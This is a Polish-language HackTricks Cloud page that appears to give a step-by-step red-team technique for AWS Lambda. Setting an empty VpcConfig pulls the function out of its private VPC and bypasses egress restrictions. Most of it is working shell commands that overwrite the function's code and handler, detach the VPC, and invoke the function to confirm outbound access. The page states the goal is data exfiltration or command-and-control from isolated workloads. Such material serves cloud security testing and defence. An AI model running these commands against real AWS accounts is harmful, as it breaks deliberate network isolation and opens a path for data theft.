AWS Lambda – VPC Egress Bypass by Detaching VpcConfig
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
Wymuś wyjście funkcji Lambda z ograniczonego VPC, aktualizując jej konfigurację do pustego VpcConfig (SubnetIds=[], SecurityGroupIds=[]). Funkcja będzie wtedy działać w warstwie sieciowej zarządzanej przez Lambda, odzyskując wychodzący dostęp do internetu i omijając kontrole ruchu wychodzącego stosowane na prywatnych podsieciach VPC bez NAT.
Wykorzystanie
- Wymagania wstępne: uprawnienie lambda:UpdateFunctionConfiguration do docelowej funkcji (oraz lambda:InvokeFunction do walidacji), plus uprawnienia do aktualizacji kodu/handlera jeśli je zmieniasz.
- Założenia: Funkcja jest obecnie skonfigurowana z VpcConfig wskazującym na prywatne podsieci bez NAT (więc dostęp wychodzący do internetu jest zablokowany).
- Region: us-east-1
Kroki
- Przygotuj minimalny handler, który udowodni, że wychodzący ruch HTTP działa
cat > net.py <<‘PY’ import urllib.request, json
def lambda_handler(event, context): try: ip = urllib.request.urlopen(‘https://checkip.amazonaws.com’, timeout=3).read().decode().strip() return {“egress”: True, “ip”: ip} except Exception as e: return {“egress”: False, “err”: str(e)} PY zip net.zip net.py aws lambda update-function-code –function-name $TARGET_FN –zip-file fileb://net.zip –region $REGION || true aws lambda update-function-configuration –function-name $TARGET_FN –handler net.lambda_handler –region $REGION || true
- Zapisz bieżącą konfigurację VPC (aby odtworzyć później w razie potrzeby)
aws lambda get-function-configuration –function-name $TARGET_FN –query ‘VpcConfig’ –region $REGION > /tmp/orig-vpc.json cat /tmp/orig-vpc.json
- Odłącz VPC, ustawiając puste listy
aws lambda update-function-configuration
–function-name $TARGET_FN
–vpc-config SubnetIds=[],SecurityGroupIds=[]
–region $REGION
until [ “$(aws lambda get-function-configuration –function-name $TARGET_FN –query LastUpdateStatus –output text –region $REGION)” = “Successful” ]; do sleep 2; done
- Wywołaj funkcję i zweryfikuj dostęp wychodzący
aws lambda invoke –function-name $TARGET_FN /tmp/net-out.json –region $REGION >/dev/null cat /tmp/net-out.json
(Opcjonalnie) Przywróć oryginalną konfigurację VPC
if jq -e ‘.SubnetIds | length > 0’ /tmp/orig-vpc.json >/dev/null; then SUBS=$(jq -r ‘.SubnetIds | join(“,”)’ /tmp/orig-vpc.json); SGS=$(jq -r ‘.SecurityGroupIds | join(“,”)’ /tmp/orig-vpc.json) aws lambda update-function-configuration –function-name $TARGET_FN –vpc-config SubnetIds=[$SUBS],SecurityGroupIds=[$SGS] –region $REGION fi
Wpływ
- Przywraca nieograniczony wychodzący dostęp do internetu z funkcji, umożliwiając data exfiltration lub C2 z workloadów, które były celowo izolowane w prywatnych podsieciach bez NAT.
Przykładowy wynik (po odłączeniu VpcConfig)
{“egress”: true, “ip”: “34.x.x.x”}
Sprzątanie
- Jeśli wprowadziłeś tymczasowe zmiany w kodzie/handlerze, przywróć je.
- Opcjonalnie przywróć oryginalny VpcConfig zapisany w /tmp/orig-vpc.json, jak pokazano powyżej.
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
HackTricks Cloud

